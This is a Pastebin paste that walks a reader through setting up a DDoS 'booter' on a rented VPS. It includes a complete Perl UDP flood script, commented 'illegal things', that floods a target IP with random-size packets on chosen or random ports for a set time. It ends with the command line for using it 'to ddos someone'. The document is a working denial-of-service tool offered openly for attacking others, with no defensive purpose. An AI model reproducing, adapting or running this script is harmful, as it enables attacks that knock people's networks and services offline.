Controller

Create your own putty booter

Dec 29th, 2012
3,103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.12 KB | None | 0 0
  1. Setup your own putty booter :D
  2.  
  3. --------------------------------------------------------
  4.  
  5. 1.) ssh into your vps
  6.  
  7. 2.) type "nano slap.pl"
  8.  
  9. 3.) paste this
  10.  
  11. "
  12. #!/usr/bin/perl
  13.  
  14. ##############
  15. # illegal things.
  16. ##############
  17.  
  18. use Socket;
  19. use strict;
  20.  
  21. my ($ip,$port,$size,$time) = @ARGV;
  22.  
  23. my ($iaddr,$endtime,$psize,$pport);
  24.  
  25. $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
  26. $endtime = time() + ($time ? $time : 1000000);
  27. socket(flood, PF_INET, SOCK_DGRAM, 17);
  28.  
  29.  
  30. print "Flooding $ip " . ($port ? $port : "random") . " port with " .
  31. ($size ? "$size-byte" : "random size") . " packets" .
  32. ($time ? " for $time seconds" : "") . "\n";
  33. print "Break with Ctrl-C\n" unless $time;
  34.  
  35. for (;time() <= $endtime;) {
  36. $psize = $size ? $size : int(rand(1024-64)+64) ;
  37. $pport = $port ? $port : int(rand(65500))+1;
  38.  
  39. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}
  40. "
  41.  
  42. 4.) Press Ctrl + X
  43.  
  44. 5.) Now it will go back to your home
  45.  
  46. 6.) now to ddos someone type "perl slap.pl (IP Adress) (port) (65500) (Time)"
  47.  
  48. 7.) To stop the attack at any time just press Ctrl + C
Advertisement
Add Comment
Please, Sign In to add comment